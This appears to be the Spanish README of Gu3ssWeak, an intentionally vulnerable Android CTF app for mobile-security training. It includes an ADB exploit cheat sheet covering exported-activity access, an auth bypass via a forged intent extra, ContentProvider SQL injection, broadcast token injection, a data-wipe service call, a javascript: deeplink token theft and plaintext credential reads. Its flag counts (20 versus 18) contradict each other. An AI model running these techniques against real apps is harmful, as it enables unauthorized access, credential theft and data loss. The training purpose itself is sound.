Gu3ssWeak

Una aplicación Android deliberadamente vulnerable para investigación de seguridad móvil, práctica de bug bounty y aprendizaje estilo CTF. Contiene 21 vulnerabilidades documentadas mapeadas al OWASP Mobile Top 10.

---

Inicio Rápido

git clone [email protected]:b4sith-sec/Gu3ssWeak.git
cd Gu3ssWeak
./gradlew assembleDebug
adb install -r app/build/outputs/apk/debug/app-debug.apk

Inicia la aplicación, resuelve cada laboratorio, captura las flags y envíalas en el marcador CTF integrado en la app.

---

Categorías de Laboratorios

Categoría	Vulnerabilidades	Flags
WebView	WV-01 a WV-05	5
Deeplink	DL-01 a DL-04, DL-CHAIN	5
Auth / Inyección SQL	SQL-01	1
Panel de Administración	AP-01 a AP-04	2
ContentProvider	CP-01	1
Broadcast Receiver	BR-01 a BR-03	2
Service	SV-01, SV-02a, SV-02b	2
Intercepción de Red	NET-01	1
Banca / OTP	OTP-01	1
LFI	LFI-01	1
Almacenamiento	STORE-01	1
XSS	XSS-01, XSS-02	2

20 flags en total, más una flag maestra otorgada por capturarlas todas.

---

Capturas de Pantalla

Lista de Laboratorios	Marcador CTF
	lab

---

Flujo CTF

1. Abre la aplicación - aterriza directamente en la lista de laboratorios.
2. Elige un laboratorio, explota la vulnerabilidad (mediante UI, ADB, o ambos).
3. Cada exploit exitoso captura automáticamente su flag.
4. Toca "Submit Flag" para confirmar, o revisa el progreso en "CTF Scoreboard".
5. Captura las 18 flags para desbloquear la flag maestra.

---

Documentación

• ARCHITECTURE.md - Cómo funciona internamente cada componente vulnerable
• MITIGATIONS.md - Guía de corrección y remediación para cada vulnerabilidad, incluyendo conceptos de escalada de LFI a RCE
• SECURITY.md - Política de seguridad y divulgación responsable
• CHECKSUMS.txt - Sumas de verificación SHA256 para los APKs compilados

---

Chuleta de Exploits ADB

# Panel de administración - exportado, sin permiso
adb shell am start -n com.gu3sswe4k.app/.activities.AdminPanelActivity

Panel de administración - elude la verificación de autenticación "corregida" mediante un extra de intent falsificado

adb shell am start -n com.gu3sswe4k.app/.activities.AdminPanelActivity --ez is_authenticated true

Elusión de concesión de ContentProvider - la ruptura por paréntesis escapa de la concesión de una sola fila

adb shell "content query --uri content://com.gu3sswe4k.app.contacts/contacts/1 --where \"1) OR (1=1\""

# Inyección de token mediante broadcast
adb shell am broadcast -a com.gu3sswe4k.app.SEND_TOKEN --es token FAKE --es user attacker

# Borrado de datos mediante servicio exportado
adb shell am startservice -n com.gu3sswe4k.app/.services.DataSyncService --es action wipe_user_data

# Deeplink a la cadena de RCE en WebView
adb shell am start -a android.intent.action.VIEW -d "vulndroid://settings?redirect=com.gu3sswe4k.app.activities.WebViewActivity&url=javascript:VulnBridge.stealToken()"

# Leer credenciales almacenadas en texto plano
adb shell run-as com.gu3sswe4k.app cat /data/data/com.gu3sswe4k.app/shared_prefs/login_prefs.xml

# Vigilar secretos registrados en logs
adb logcat | grep Gu3ssWeak

---

Descargo de Responsabilidad

Este proyecto es puramente educativo. Todas las vulnerabilidades son intencionales y están documentadas. Las técnicas mostradas aquí se aplican a aplicaciones reales, pero solo prueba sistemas que poseas o estés autorizado a probar. Consulta SECURITY.md para el descargo de responsabilidad completo y la guía de divulgación responsable.

Licencia

MIT - consulta LICENSE.